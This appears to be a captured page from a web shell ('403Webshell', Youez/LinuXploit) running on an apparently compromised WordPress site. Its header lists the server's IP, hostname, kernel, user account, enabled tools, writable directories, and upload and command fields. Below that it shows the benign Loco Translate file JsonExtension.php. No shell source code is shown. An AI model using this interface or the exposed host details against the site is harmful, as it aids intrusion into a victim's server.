403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.119.118.210
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/thietke365.net/wp-content/plugins/loco-translate/src/compat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/thietke365.net/wp-content/plugins/loco-translate/src/compat/JsonExtension.php
<?php
/**
 * Placeholder for missing PHP "json" extension.
 * Just avoids fatal errors. Does not actually replace functionality.
 *
 * If this extension is missing no JavaScript will work in the plugin at all.
 */
abstract class Loco_compat_JsonExtension {
    
    public static function json_encode( $value ){
        return '{"error":{"code":-1,"message":"json extension is not installed"}}';
    }

    public static function json_decode( $json ){
        return null;
    }
    
}


// @codeCoverageIgnoreStart

if( ! function_exists('json_encode') ){
    function json_encode( $value ){
        return Loco_compat_JsonExtension::json_encode( $value );
    }
}

if( ! function_exists('json_decode') ){
    function json_decode( $json ){
        return Loco_compat_JsonExtension::json_decode($json);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit